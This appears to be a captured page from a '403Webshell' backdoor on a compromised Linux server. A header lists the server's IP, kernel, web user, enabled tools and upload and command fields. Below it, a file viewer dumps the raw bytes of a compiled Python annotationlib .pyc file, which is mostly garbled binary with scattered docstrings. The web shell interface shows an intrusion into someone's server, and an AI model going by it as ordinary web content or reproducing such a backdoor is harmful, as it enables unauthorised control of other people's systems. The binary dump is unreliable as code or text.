403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.14/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.14/__pycache__/annotationlib.cpython-314.pyc
+
��3jԨ���Rt^RIt^RIt^RIt^RIt^RIt^RIt.R!Ot!RR]P4t	]
!4tRtR"t
!RR4t]!R#R$4t!RR4tR	tR
tRt!RR
]4tRR/RltRRRR/RltRtRtRtRRRRRRR]	P8/RltRtRtRt Rt!]PDR,PFt$R t%R#)%z3Helpers for introspecting and wrapping annotations.N�Format�
ForwardRefc�&�]tRt^t^t^t^t^tRtR#)r�N)	�__name__�
__module__�__qualname__�__firstlineno__�VALUE�VALUE_WITH_FAKE_GLOBALS�
FORWARDREF�STRING�__static_attributes__r��$/usr/lib/python3.14/annotationlib.pyrrs��
�E����J�
�Frz!name '{name:.200}' is not definedc
��a�]tRt^5toRt]tRRRRRRRR/R	ltR
tRRRRR
RRRR]	P/Rlt]3Rlt
]R4t]R4tRtRtRtRtRtRtVtR#)ra�Wrapper that holds a forward reference.

Constructor arguments:
* arg: a string representing the code to be evaluated.
* module: the module where the forward reference was created.
  Must be a string, not a module object.
* owner: The owning object (module, class, or function).
* is_argument: Does nothing, retained for compatibility.
* is_class: True if the forward reference was created in class scope.

�moduleN�owner�is_argumentT�is_classFc���\V\4'g\RV:24hWnW@nWPnW nW0nRVnRVn	RVn
RVnRVnR#)z*Forward reference must be a string -- got N)
�
isinstance�str�	TypeError�__arg__�__forward_is_argument__�__forward_is_class__�__forward_module__�	__owner__�__globals__�__cell__�__extra_names__�__code__�__ast_node__)�self�argrrrrs&&$$$$r�__init__�ForwardRef.__init__Dsl���#�s�#�#��H���P�Q�Q���'2�$�$,�!�"(���� �����
�#�����
� ��rc��\R4h)zCannot subclass ForwardRef�r)�cls�args�kwdss"*,r�__init_subclass__�ForwardRef.__init_subclass__bs���4�5�5r�globals�locals�type_params�formatc���T;\P8XdVP#;\P8XdRpM#\P8XdRpM\V4h\
VP\P4'dVPP#Vf
VPpVfDVPe6\\P P#VPR4RR4pVf
VP$pVf�\
V\&4'dL\VRR4pV'd6\P P#VR4pV'd\VRR4pML\
V\P(4'd\VRR4pM\+V4'd\VRR4pVf/pVfVe\VRR4pVf4/p\
V\&4'dVP-\/V44MAVf3\
VP\04'gVP2'd\1V4pVe&VFp	VP5V	P6V	4K!	\
VP\04'dBVPP94F#wr�VPpVP5W�4K%	VP2'dVP-VP24VPp
V
P;4'd�\<P>!V
4'gnW�9d	W-,#W�9d	W,#\A\BV
4'd\\BV
4#V'dV#\E\FPIV
R7V
R7hVPJp\MW�VR	7# \dEL5i;i \dEK:i;i \Nd
T'ghMi;i\Q/\BPRCTCTCTTTPTTR
7p\MY�TR	7pTPWTP4T# \NdTu#i;i)zxEvaluate the forward reference and return the value.

If the forward reference cannot be evaluated, raise an exception.
FTN�__dict__rr�__type_params__)�name)r/r0�r/rrr2),rr
�__forward_arg__r
r�NotImplementedErrorrr �types�CellType�
cell_contents�
ValueErrorrr�getattr�sys�modules�getr�type�
ModuleType�callable�update�vars�dictr!�
setdefaultr�items�isidentifier�keyword�	iskeyword�hasattr�builtins�	NameError�_NAME_ERROR_MSGr2�__forward_code__�eval�	Exception�_StringifierDictr4r�transmogrify)r$r/r0r1rr2�is_forwardref_format�module_namer�param�	cell_name�cell�
cell_valuer%�code�
new_locals�results&$$$$$           r�evaluate�ForwardRef.evaluatees���������+�+�+�����',�$��"�"�'+�$��)�&�1�1��d�m�m�U�^�^�4�4�
��}�}�2�2�2��=��N�N�E��?�t�6�6�B�������� 7� 7��>�
�D��G��?��&�&�G��?��%��&�&�%�e�\�4�@��� �[�[�_�_�[�$�?�F��")�&�*�d�"C����E�5�#3�#3�4�4�!�%��T�:���%���!�%���=���?��G���5�#4�!�%�):�D�A�K��>��F��%��&�&��
�
�d�5�k�*���#��$�-�-��.�.��#�#�#��&�\�F�
�"�$���!�!�%�.�.�%�8�%�
�d�m�m�T�*�*�#'�=�=�#6�#6�#8��	�=�!%�!3�!3�J��%�%�i�<�
$9������M�M�$�.�.�/��"�"�������g�&7�&7��&<�&<��}��{�"����|�#���3�'�'��x��-�-�%����� 6� 6�C� 6� @�s�K�K��(�(�D�
��D�&�A�A��_�
��
��p"�����0�
�+��,�
��*�:�8�$�$�:��:�6�:����2�2���J�
��d�J�G���'�'��
�
�6��
��	�
���
�sN�O�5O�;O-�O�O�O*�)O*�-P�P�P�6
Q � 
Q0�/Q0c��^RIp^RIpV\JdVPR4RpVP	RRRR7VPVVVVVR7#)	�Nztyping.ForwardRef._evaluatezForwardRef._evaluatez�{name} is a private API and is retained for compatibility, but will be removed in Python 3.16. Use ForwardRef.evaluate() or typing.evaluate_forward_ref() instead.)�remove)r/r0r1�_recursive_guardr)��)�typing�warnings�	_sentinel�._deprecation_warning_for_no_type_params_passed�_deprecated�evaluate_forward_ref)r$�globalns�localnsr1�recursive_guardrgrhs&&&&$  r�	_evaluate�ForwardRef._evaluate�sp�����)�#��A�A�-�
��K����"�
c��		�	
��*�*����#�,�+�
�	
rc���VPe
VP#VPe2\P!VP4VnVP#\	R4h)NzDAttempted to access '__forward_arg__' on an uninitialized ForwardRef)rr#�ast�unparse�AssertionError�r$s&rr8�ForwardRef.__forward_arg__�sR���<�<�#��<�<�����(��;�;�t�'8�'8�9�D�L��<�<���R�
�	
rc���VPe
VP#VPp\\V4RR4VnVP# \d\	RT:24hi;i)Nz<string>rRz/Forward reference must be an expression -- got )r"r8�compile�_rewrite_star_unpack�SyntaxError)r$r%s& rrQ�ForwardRef.__forward_code__sp���=�=�$��=�=� ��"�"��	Y�#�$8��$=�z�6�R�D�M��}�}����	Y�� O�PS�w�W�X�X�	Y�s�A�A*c	�F�\V\4'g\#VPVP8H;'Ed�VPVP8H;'Ed�VP
VP
J;'Ed�VPVP8H;'Edt\VP\4'd�\VP\4'drVPP4UUu/uFwr#V\V4bK	uppVPP4UUu/uFwr#V\V4bK	upp8HMVPVPJ;'d�VPVP8H;'d�VP'd-\\VPP444MRVP'd-\\VPP444MR8H#uuppiuuppi�N)rr�NotImplementedr8rrrr rGrI�idrr!�tuple�sorted)r$�otherr6rZs&&  r�__eq__�ForwardRef.__eq__s����%��,�,�!�!�� � �E�$9�$9�9�
�
��'�'�5�+C�+C�C�
�
�� � �E�$5�$5�5�	
�
�
�)�)�U�-G�-G�G�
�
��d�m�m�T�2�2�z�%�.�.�RV�7W�7W�37�-�-�2E�2E�2G�H�2G�J�D��r�$�x��2G�H�5:�^�^�5I�5I�5K�L�5K�z�t�D�"�T�(�N�5K�L�M��]�]�e�n�n�4�
�
����%�/�/�1�
�
�AE�@T�@T�@T��v�d�2�2�8�8�:�;�<�Z^�AF�AV�AV�AV��v�e�3�3�9�9�;�<�=�\`�b�!	
��I��Ls�H�8Hc�,�\VPVP\VP4VP
\
VP\4'dL\\VPP4UUu.uFwrV\V43NK	upp44M\VP43VPVP'd2\\VPP44434#R34#uuppir~)�hashr8rr�rrrr rGr�r�rIrr!)r$r6rZs&  r�__hash__�ForwardRef.__hash__(s����� � ��#�#��t��� ��%�%��d�m�m�T�2�2��f����AT�AT�AV�W�AV�:�4�t�R��X�.�AV�W�X�Y�8:�4�=�=�8I�
�
�N�N�;?�;O�;O�;O�E�&��-�-�3�3�5�6�7�
��	�VZ�
��	��Xs�Dc�2�\PW3,#r~�r:�	UnionType�r$r�s&&r�__or__�ForwardRef.__or__6s�����t�{�+�+rc�2�\PW3,#r~r�r�s&&r�__ror__�ForwardRef.__ror__9s�����u�{�+�+rc�D�.pVPe VPRVP:24VP'dVPR4VPe VPRVP:24RVP:RPV4R2#)Nz	, module=z, is_class=Truez, owner=zForwardRef(��))r�appendrrr8�join)r$�extras& r�__repr__�ForwardRef.__repr__<s������"�"�.��L�L�9�T�%<�%<�$?�@�A��$�$�$��L�L�*�+��>�>�%��L�L�8�D�N�N�#5�6�7��T�1�1�4�R�W�W�U�^�4D�A�F�Fr)
rr#r r"r!rrrrr)rrrr	�__doc__�_SLOTS�	__slots__r&r-rr
r_rirp�propertyr8rQr�r�r�r�r�r�__classdictcell__��
__classdict__s@rrr5s�����
��I�!��	!�
�!��
!��!�<6�|��|��	|�
�|��
|��|�|�|�|8A�
�.�
��
�����
�0�,�,�G�Grc�a�]tRtRto]tRRR/RlltRtRtRt	RRlt
R	tR
tRt
RtR
tRtRtV3RlRlt]!]P(!44t]!]P,!44t]!]P0!44t]!]P4!44t]!]P8!44t]!]P<!44t]!]P@!44t!]!]PD!44t#]!]PH!44t%]!]PL!44t']!]PP!44t)]!]PT!44t+]!]PX!44t-AV3RlRlt.].!]P(!44t/].!]P,!44t0].!]P0!44t1].!]P4!44t2].!]P8!44t3].!]P<!44t4].!]P@!44t5].!]PD!44t6].!]PH!44t7].!]PL!44t8].!]PP!44t9].!]PT!44t:].!]PX!44t;A.Rt<]<!]Pz!44t>]<!]P~!44t@]<!]P�!44tB]<!]P�!44tD]<!]P�!44tF]<!]P�!44tHA<RtI]I!]P�!44tK]I!]P�!44tM]I!]P�!44tOAIRtPVtQR#)�_StringifieriJN�extra_namesc���\V\P\34'gQhRVnRVnW@nRVnRVnWn	W n
WpnWPnW0n
W`nR#)NF)rrs�ASTrrrrrr"r#rr!r r�__stringifier_dict__)r$�noder/rrrZ�stringifier_dictr�s&&&&&&$$rr&�_Stringifier.__init__Ose���$����#��/�/�/�/����',��$�$,�!�"&�����
� ��"��*���
���$4�!rc�p�\V\4'df\VP\4'd.\P
!VPR7VP3#VPVP3#\V4\Jd\V4R3#VPP\P8Xg.Ve*\V4\\\\ \"39d\P$!VR7R3#\V4\&Jd�/p.p.pVP)4FwwrVVP+V4wrxVeVP-V4VP/V4VP+V4wr�VeVP-V4VP/V	4Ky	\P0!W44V3#\V4\2\4\639d�/p.p
VF<pVP+V4wr�VeVP-V4V
P/V4K>	\2\P8\4\P:\6\P</\V4,p
V
!V
4V3#VPP?4p\P
!VR7W�/3#)�r�N��value) rr�r#rrs�Namer!rB�	_Template�_template_to_astr�r2rr
�int�float�bool�complex�ConstantrGrI�_Stringifier__convert_to_astrEr��Dict�listr��set�List�Tuple�Set�create_unique_name)r$r�r��keys�values�keyr��new_key�new_extra_names�	new_value�elts�elt�new_elt�	ast_classr6s&&             r�__convert_to_ast�_Stringifier.__convert_to_astis$���e�\�*�*��%�,�,�c�2�2��x�x�5�#5�#5�6��8M�8M�M�M��%�%�u�'<�'<�<�<�
�%�[�I�
%�#�E�*�D�0�0�
�%�%�,�,��
�
�=��}��E�{�s�C���g�>�>��<�<�e�,�d�2�2�
�%�[�D�
 ��K��D��F�#�k�k�m�
��+/�+@�+@��+E�(��"�.��&�&��7����G�$�-1�-B�-B�5�-I�*�	�"�.��&�&��7��
�
�i�(�,��8�8�D�)�;�6�6�
�%�[�T�5�#�.�
.��K��D���+/�+@�+@��+E�(��"�.��&�&��7����G�$�	�
�s�x�x���	�	�3����H��e��U�I��T�?�K�/�/��,�,�?�?�A�D��8�8�t�$�t�m�3�3rc�aa�\V\4'dU/oVV3Rlp\P!V!VP4V!VP
4V!VP4R7S3#SPV4#)c�d<�VfR#SPV4wrVeSPV4V#r~)r�rE)�obj�new_objr�r�r$s&  ��r�conv�3_Stringifier.__convert_to_ast_getitem.<locals>.conv�s7����;��+/�+@�+@��+E�(��"�.��&�&��7��r)�lower�upper�step)r�slicers�Slice�start�stopr�r�)r$r�r�r�sf& @r�__convert_to_ast_getitem�%_Stringifier.__convert_to_ast_getitem�sn����e�U�#�#��K�
��9�9��5�;�;�'��5�:�:�&��%�*�*�%���	�
��(�(��/�/rc�x�VPp\V\4'd\P!VR7#V#)r�)r#rrrsr�)r$r�s& r�	__get_ast�_Stringifier.__get_ast�s.��� � ���d�C� � ��8�8�t�$�$��rc	�V�/pVPeVPVP4VeVPV4\TVPVPVP
VPT;'gRR7pVPPPV4V#)N)r�r�)	r!rEr�rrrr��stringifiersr�)r$r�r�r��stringifiers&&&  r�
__make_new�_Stringifier.__make_new�s��������+��"�"�4�#7�#7�8��"��"�"�;�/�"������N�N��%�%�!�6�6�'�/�/�4�

��	
�!�!�.�.�5�5�k�B��rc��\V4#r~r�rvs&rr��_Stringifier.__hash__�s���$�x�rc��VPR8Xd\h\V\4'd^/p.pVF<pVP	V4wrVVeVPV4VP
V4K>	\P!V4pMVP	V4wr\V\P4'gQ\V44hVP\P!VP4V4V4#r�)r#�KeyErrorrr��$_Stringifier__convert_to_ast_getitemrEr�rsr�r��repr�_Stringifier__make_new�	Subscript�_Stringifier__get_ast)r$r�r�r�r�r�r�s&&     r�__getitem__�_Stringifier.__getitem__�s�������/��N��e�U�#�#��K��D���+/�+H�+H��+M�(��"�.��&�&��7����G�$�	�
�I�I�d�O�E�!%�!>�!>�u�!E��E��%����)�)�6�4��;�6�)����s�}�}�T�^�^�-=�u�E�{�S�Src�j�VP\P!VP4V44#r~)r�rs�	Attributer�)r$�attrs&&r�__getattr__�_Stringifier.__getattr__�s#�����s�}�}�T�^�^�-=�t�D�E�Erc���/p.pVF<pVPV4wrgVeVPV4VPV4K>	.pVP4FRwr�VPV
4wr�VeVPV4VP\P
!W�44KT	VP
\P!VP4WH4V4#r~)	r�rEr�rIrsrKr��Callr�)r$r+�kwargsr��ast_argsr%�new_argr��
ast_kwargsr�r�r�s&*,         r�__call__�_Stringifier.__call__�s��������C�'+�'<�'<�S�'A�$�G��*��"�"�?�3��O�O�G�$�	�
�
� �,�,�.�J�C�)-�)>�)>�u�)E�&�I��*��"�"�?�3����c�k�k�#�9�:�	)�
���s�x�x����(8�(�O�Q\�]�]rc#�x"�VP\P!VP444x�R#5ir~)r�rs�Starredr�rvs&r�__iter__�_Stringifier.__iter__�s$����o�o�c�k�k�$�.�.�*:�;�<�<�s�8:c��\VP\4'd
VP#\P!VP4#r~)rr#rrsrtrvs&rr��_Stringifier.__repr__�s6���d�'�'��-�-��$�$�$��{�{�4�,�,�-�-rc��\R4h)z8Cannot stringify annotation containing string formattingr))r$�format_specs&&r�
__format__�_Stringifier.__format__�s���R�S�Src�4<�V^8�dQhRS[P/#���op�rsr�)r2r�s"�r�__annotate__�_Stringifier.__annotate__�s��������rc�a�V3RlpV#)c�<�VPV4wr#VP\P!VP	4SV4V4#r~�r�r�rs�BinOpr��r$r��rhsr�rs&&  �r�binop�'_Stringifier._make_binop.<locals>.binop�s@���#�4�4�U�;��C��?�?��	�	�$�.�.�*�B��4�k��
rr)rrsf r�_make_binop�_Stringifier._make_binop�s���	��rc�4<�V^8�dQhRS[P/#rr)r2r�s"�rr	r
s��������rc�a�V3RlpV#)c�<�VPV4wr#VP\P!VSVP	44V4#r~r
)r$r��	new_otherr�rs&&  �r�rbinop�)_Stringifier._make_rbinop.<locals>.rbinops@���%)�%:�%:�5�%A�"�I��?�?��	�	�)�R����)9�:�K��
rr)rrsf r�_make_rbinop�_Stringifier._make_rbinops���	��
rc�a�V3RlpV#)c�<�VPV4wr#VP\P!VP	4S.V.R7V4#))�left�ops�comparators)r�r�rs�Comparer�rs&&  �r�compare�+_Stringifier._make_compare.<locals>.compare(sL���#�4�4�U�;��C��?�?�������)���!$���
�
�
rr)rr#sf r�
_make_compare�_Stringifier._make_compare's���		��rc�a�V3RlpV#)c�l<�VP\P!SVP444#r~)r�rs�UnaryOpr�)r$rs&�r�unary_op�-_Stringifier._make_unary_op.<locals>.unary_op?s$����?�?�3�;�;�r�4�>�>�3C�#D�E�Err)rr*sf r�_make_unary_op�_Stringifier._make_unary_op>s���	F��r)rr#r r"r!rrrrrr�)NNFNr~)Rrrrr	r�r�r&r�r�r�r�r�r�r�r�r�r�rrrs�Add�__add__�Sub�__sub__�Mult�__mul__�MatMult�
__matmul__�Div�__truediv__�Mod�__mod__�LShift�
__lshift__�RShift�
__rshift__�BitOrr��BitXor�__xor__�BitAnd�__and__�FloorDiv�__floordiv__�Pow�__pow__r�__radd__�__rsub__�__rmul__�__rmatmul__�__rtruediv__�__rmod__�__rlshift__�__rrshift__r��__rxor__�__rand__�
__rfloordiv__�__rpow__r%�Lt�__lt__�LtE�__le__�Eqr��NotEq�__ne__�Gt�__gt__�GtE�__ge__r,�Invert�
__invert__�UAdd�__pos__�USub�__neg__rr�r�s@rr�r�Js������I�5��5�4)4�V0�(��&�T�&F�^� =�.�
T����#�'�'�)�$�G��#�'�'�)�$�G��#�(�(�*�%�G��S�[�[�]�+�J��c�g�g�i�(�K��#�'�'�)�$�G��S�Z�Z�\�*�J��S�Z�Z�\�*�J�
�����
%�F��#�*�*�,�'�G��#�*�*�,�'�G��s�|�|�~�.�L��#�'�'�)�$�G�����C�G�G�I�&�H��C�G�G�I�&�H��C�H�H�J�'�H��s�{�{�}�-�K�����	�*�L��C�G�G�I�&�H��s�z�z�|�,�K��s�z�z�|�,�K��3�9�9�;�'�G��C�J�J�L�)�H��C�J�J�L�)�H� �����0�M��C�G�G�I�&�H����3�6�6�8�
$�F�
�3�7�7�9�
%�F�
�3�6�6�8�
$�F�
�3�9�9�;�
'�F�
�3�6�6�8�
$�F�
�3�7�7�9�
%�F��� ��
�
��-�J��S�X�X�Z�(�G��S�X�X�Z�(�G�rr�c�`�.pVF�pV\Rc;e+wVP\P!VR74K9\P!\P
!RR7\P!VPR7\P!VPR7\P!VPR7\P!VPR7.R7pVPV4K�	\P!\P
!RR7V.R7#)z3Convert a `template` instance to a non-literal AST.rr��
Interpolationr�)�funcr+�Template)rfr+�keywords)
rr�rsr�r�r�r��
expression�
conversionr)�templater+�part�interps&   r�_template_to_ast_constructorrnKs���
�D���������C�L�L�t�4�5���������_�5����4�:�:�6����4�?�?�;����4�?�?�;����4�+;�+;�<�	������F�#���8�8����Z�0�t�b�I�Irc
��.p^pVF�pV\Rc;e+wVP\P!VR74K9\P!VP
W,VP'd\VP4MRVP'd"\P!VPR7MRR7pVPV4V^,
pK�	\P!VR7#)z8Convert a `template` instance to a t-string literal AST.rNr�)rr�rjr)r����)
rr�rsr�rerirj�ordr�TemplateStr)rk�parsedr��interp_countrlrms&&    r�_template_to_ast_literalru`s���
�F��L�������
�
�c�l�l��6�7����*�*���� �.�7;����s�4�?�?�3�B��'�'�'�!$���4�3C�3C� D��
���
�
�f�%���!����?�?�&�)�)rc��\;QJd&RVP4F'gKRM	RM!RVP44'd\V4#\;QJd.RVP4FNK	5M!RVP44p\Y4# \d\T4u#i;i)zAMake a best-effort conversion of a `template` instance to an AST.c3�Z"�TF!qPP4R8Hx�K#	R#5i)r�N)ri�strip��.0rls& r�	<genexpr>�#_template_to_ast.<locals>.<genexpr>|s"���
M�5L�T�?�?� � �"�b�(�5L�s�)+TFc3�"�TF5p\P!RVPR2RR7Px�K7	R#5i)�(r�rR)�modeN)rs�parseri�bodyrys& rr{r|�s6���
�/��
�I�I��$�/�/�*�!�,�6�:�?�?�/�s�=?)�any�interpolationsrnr�r{ru)rkrss& rr�r�vs����s�
M�X�5L�5L�
M�s�s�s�
M�X�5L�5L�
M�M�M�+�H�5�5�6���
� �/�/�
���
� �/�/�
�
��$�H�5�5���6�+�H�5�5�6�s�
B&�&5B&�&B?�>B?c�Taa�]tRtRtoRRRRRR/V3RlltRtR	tR
tRtVt	V;t
#)rTi�r/NrrFc�~<�\SV`V4WnW nW0nW@n.Vn^VnWPnR#)�N)	�superr&�	namespacer/rrr��next_idr2)r$r�r/rrr2�	__class__s&&$$$$�rr&�_StringifierDict.__init__�s8���
����#�"�����
� �
��������rc��\VVPVPVPVR7pVPPV4V#))r/rrr�)r�r/rrr�r�)r$r��fwdrefs&& r�__missing__�_StringifierDict.__missing__�sB�����L�L��*�*��]�]�!�
��	
��� � ��(��
rc��VPFip\VnRVn\	VP
\4'dVP
VnRVnVfKSVPeKcWnKk	R#r~)	r�rr�r�rr#rrr )r$�	cell_dictr�s&& rrU�_StringifierDict.transmogrify�s]���$�$�C�&�C�M�'+�C�$��#�*�*�C�0�0�!�.�.���#'�� ��$����)=�(��%rc�X�RVPR2pV;P^,
unV#)�__annotationlib_name_�__)r�)r$r6s& rr��#_StringifierDict.create_unique_name�s'��&�t�|�|�n�B�7���������r)r2r/rr�r�rr�)rrrr	r&r�rUr�rr��
__classcell__)r�r�s@@rrTrT�s3�����T������	�)��rrTrc��\WVRR7#)z�Call an evaluate function. Evaluate functions are normally generated for
the value of type aliases and the bounds, constraints, and defaults of
type parameter objects.
T)r�_is_evaluate)�call_annotate_function)r_r2rs&&$r�call_evaluate_functionr��s��
"�(�%�d�S�Srr�Fc	��V\P8Xd\R4hV!V4# \dMi;iT\P8XEdT!\P4M< \d#\T!\P44u#\dMi;i\/TR7p\T\4p\YYTRR7wrg\P!TPTTTPTP R7pT!\P4p	T'd\#T	4#T	P%4U
Uu/uFwr�T
\#T4bK	upp
#uupp
iT\P&8XEd/TP(CTP*Cp\T\4p\TTP*TTTR7p\YYTRR7wrm\P!TPTTTPTP R7pT!\P4pTP-T
4T# \dT!\P4u#\dMi;i\/TP*TTTR7p\YYTRR7wrm\P!TPTTTPTP R7pT!\P4pTP-T
4T'd9\T\.4'd!TP1\P&R7#T#TP%4U
Uu/uF>wr�T
\T\.4'd!TP1\P&R7MTbK@	upp
#uupp
iT\P8Xd\3R4h\R	T:24h)
aZCall an __annotate__ function. __annotate__ functions are normally
generated by the compiler to defer the evaluation of annotations. They
can be called with any of the format arguments in the Format enum, but
compiler-generated __annotate__ functions only support the VALUE format.
This function provides additional functionality to call __annotate__
functions with the FORWARDREF and STRING formats.

*annotate* must be an __annotate__ function, which takes a single argument
and returns a dict of annotations.

*format* must be a member of the Format enum or one of the corresponding
integer values.

*owner* can be the object that owns the annotations (i.e., the module,
class, or function that the __annotate__ function derives from). With the
FORWARDREF format, it is used to provide better evaluation capabilities
on the generated ForwardRef objects.

�;The VALUE_WITH_FAKE_GLOBALS format is for internal use only)r2F)�allow_evaluation)�closure�argdefs�
kwdefaultsr7Tz/annotate function does not support VALUE formatzInvalid format: )rrr=r9r
�annotations_to_stringr
rSrTrrB�_build_closurer:�FunctionTyper"�__defaults__�__kwdefaults__�_stringify_singlerIr�__builtins__rrUrr_�RuntimeError)�annotater2rr�r/rr��_rf�annosr��valr�r�r^s&&$$           rr�r��s���(��/�/�/��V�W�W�
�������
��
��
�����	��V�3�3�4��"�	A�(��&�,�,�)?�@�@��	��	��#�2�f�5���e�T�*��#��X��
�
���!�!�������)�)��.�.�
���V�3�3�4���$�U�+�+�"�K�K�M�
�)���
�"�3�'�'�)�
�	
��
�
�6�$�$�	$�$F�x�,�,�E��0D�0D�E�	��e�T�*��"���(�(����
��,��X��
����!�!�������)�)��.�.�
��		��&�8�8�9�F�
� � ��+��M��#�	*��F�L�L�)�)��	��	��#���(�(����
��,��X��
����!�!�������)�)��.�.�
���f�4�4�5�����Y�'���&�*�-�-����f�.?�.?��@�@��
�!'����
�!/�H�C��!�#�z�2�2��L�L��(9�(9�L�:���
!/�
�
���
�6�<�<�	��L�M�M��+�F�:�6�7�7sU�*�8�8�A)�)*B"�B"�B"�!B"�E"�H5�5!I%�I%�!I%�$I%�AN
c
���VP'gR#.p/p\VPPVPRR7F�wrxW�V&Rp	V'dVPTp	V	fM\
VVVVPVVR7p
VPPV
4\P!V
4p	VPV	4K�	\V4V3# \
dLi;i)NT)�strict)rZrr/rr�)NN)
�__closure__�zipr"�co_freevarsr<r=r�rr�r�r:r;r�)r�rrr�r��new_closurer�r6rZ�new_cellr�s&&&&$      rr�r�Us����������K��I��(�+�+�7�7��9M�9M�VZ�[�
���$�����
 ��"�"� ����!���� �,�,�!�!1�
�F�
�)�)�0�0��8��~�~�f�-�H����8�$�+\�,���y�(�(��!�
��
�s�C�C'�&C'c���VRJdR#\V\4'dV#\V\4'd \P!\V44#\
V4#).�...)rrr�rsrtr�r�)�annos&rr�r�ssJ���s�{��	�D�#�	�	���	�D�)�	$�	$��{�{�+�D�1�2�2��D�z�rc�\�VR,# \dTPRR4u#i;i)z�Retrieve the annotate function from a class namespace dictionary.

Return None if the namespace does not contain an annotate function.
This is useful in metaclass ``__new__`` methods to retrieve the annotate function.
r	�__annotate_func__N)r�rA)r�s&r�!get_annotate_from_class_namespacer�s3��2��>�"�"���2��w�w�*�D�1�1�2�s��+�+r/r0�eval_strr2c
��V'd!V\P8wd\R4hT;\P8Xd\V4pVf�\	W4pM�;\P
8Xd9\V4pVe\
V4#\	W4pVf�\V4pMy;\P8Xd6\	W4pVe\
V4#\V4pVe;\V4#\P8Xd\R4h\RV:24hVf9\V\4'g\V4'd/#\V:R24hV'g/#V'g\
V4#VeVEf�\V\4'ddRp\VRR4pV'd6\ P"P%VR4pV'd\VRR4p\
\'V44p	Tp
MY\V\(P*4'd\VR4pRp	Rp
M(\V4'd\VRR4pRp	Tp
MR;p;r�V
e�\-V
40p\/V
R	4'd<V
P0p\-V4V9dM�VP3\-V44Tp
KN\ P"P%R
4;p
'dW\W�P44'd<V
P6p\-V4V9dMVP3\-V44Tp
K�\/V
R4'd
V
P8pVfTpVfT	p\VRR4;p'd*Vf/pVUu/uFq�P:VbK	upV,pVP=4UUu/uF4wppT\V\>4'gTM\A\CV4W4bK6	pppV# \dELli;iuupiuuppi)
a�Compute the annotations dict for an object.

obj may be a callable, class, module, or other object with
__annotate__ or __annotations__ attributes.
Passing any other object raises TypeError.

The *format* parameter controls the format in which annotations are returned,
and must be a member of the Format enum or its integer equivalent.
For the VALUE format, the __annotations__ is tried first; if it
does not exist, the __annotate__ function is called. The
FORWARDREF format uses __annotations__ if it exists and can be
evaluated, and otherwise falls back to calling the __annotate__ function.
The STRING format tries __annotate__ first, and falls back to
using __annotations__, stringified using annotations_to_string().

This function handles several details for you:

  * If eval_str is true, values of type str will
    be un-stringized using eval().  This is intended
    for use with stringized annotations
    ("from __future__ import annotations").
  * If obj doesn't have an annotations dict, returns an
    empty dict.  (Functions and methods always have an
    annotations dict; classes, modules, and other types of
    callables may not.)
  * Ignores inherited annotations on classes.  If a class
    doesn't have its own annotations dict, returns an empty dict.
  * All accesses to object members and dict values are done
    using getattr() and dict.get() for safety.
  * Always, always, always returns a freshly-created dict.

eval_str controls whether or not values of type str are replaced
with the result of calling eval() on those values:

  * If eval_str is true, eval() is called on values of type str.
  * If eval_str is false (the default), values of type str are unchanged.

globals and locals are passed in to eval(); see the documentation
for eval() for more information.  If either globals or locals is
None, this function may replace that value with a context-specific
default, contingent on type(obj):

  * If obj is a module, globals defaults to obj.__dict__.
  * If obj is a class, globals defaults to
    sys.modules[obj.__module__].__dict__ and locals
    defaults to the obj class namespace.
  * If obj is a callable, globals defaults to obj.__globals__,
    although if obj is a wrapped function (using
    functools.update_wrapper()) it is first unwrapped.
z8eval_str=True is only supported with format=Format.VALUENr�zUnsupported format z does not have annotationsrr4r�__wrapped__�	functoolsr5r)"rr
r=�_get_dunder_annotations�_get_and_call_annotaterrGrSr
r�rrrBrDrr>r?r@rArFr:rCr�rMr��add�partialrfrrrIrrRrz)r�r/r0r�r2�ann�obj_globalsrWr�
obj_locals�unwrap�	_seen_ids�	candidater�r1rXr�r��return_values&$$$$              r�get_annotationsr��s���j�F�f�l�l�*��S�T�T�
�
�V�\�\�)�#�.�C��{�,�S�9��
�V�
�
�
%�-�c�2���?���9�$�#�)��5�C��{�.�c�2��
�V�]�]�(��5�C����C�y� �)�#�.�C���,�S�1�1�
�
+�
+��Z�[�[�
��2�6�*�=�>�>�
�{��c�4� � �H�S�M�M��I��3�'�!;�<�=�=���	���C�y����&�.��c�4� � ��K�!�#�|�T�:�K��������d�;���")�&�*�d�"C�K��d�3�i��J��F�
��U�-�-�
.�
.�!�#�z�2�K��J��F�
�c�]�]�"�#�}�d�;�K��J��F�04�4�K�4�*���
�F���I���6�=�1�1� &� 2� 2�I��)�}�	�1���M�M�"�Y�-�0�&�F�� #������ <�<�9�<�!�&�*;�*;�<�<�$*�K�K�	��i�=�I�5�!�!�
�
�b��m�4�!*�� ���v�}�-�-�$�0�0���?�!�G��>��F�
�c�#4�b�9�9�{�9��>��F�5@�A�[�E�.�.�%�'�[�A�F�J��
�)�)�+��&�J�C��	�*�U�C�0�0�U�
�&�u�-�w�
?�	@�%���
���Y�
��
��JB��s�2O+�:O=�,:P�+O:�9O:c�p�\V\\P\P34'd9VP
R8Xd
VP#VP
RVP2#\V\4'd"\V4p\P!V4#VRJdR#\V4#)aConvert a Python value to a format suitable for use with the STRING format.

This is intended as a helper for tools that support the STRING format but do
not have access to the code that originally produced the annotations. It uses
repr() for most objects.

rN�..r�)rrBr:r��BuiltinFunctionTyperrr�r�rsrtr�)r��trees& r�	type_reprr�>s����%�$�� 2� 2�E�4M�4M�N�O�O����z�)��%�%�%��"�"�#�1�U�%7�%7�$8�9�9�	�E�9�	%�	%���&���{�{�4� � ���|����;�rc	��VP4UUu/uF)wrT\V\4'dTM
\V4bK+	upp#uuppi)zwConvert an annotation dict containing values to approximately the STRING format.

Always returns a fresh a dictionary.
)rIrrr�)�annotations�n�ts&  rr�r�RsK�� �%�%�'��'�D�A�	
�
�1�c�"�"�1�	�!��4�'����s�/Ac�\�VP4PR4'dRVR2#V#)zlIf the given argument annotation expression is a star unpack e.g. `'*Ts'`
rewrite it to a valid expression.
�*r~z,)[0])�lstrip�
startswith)r%s&rrzrz]s.���z�z�|���s�#�#��3�%�u�~���
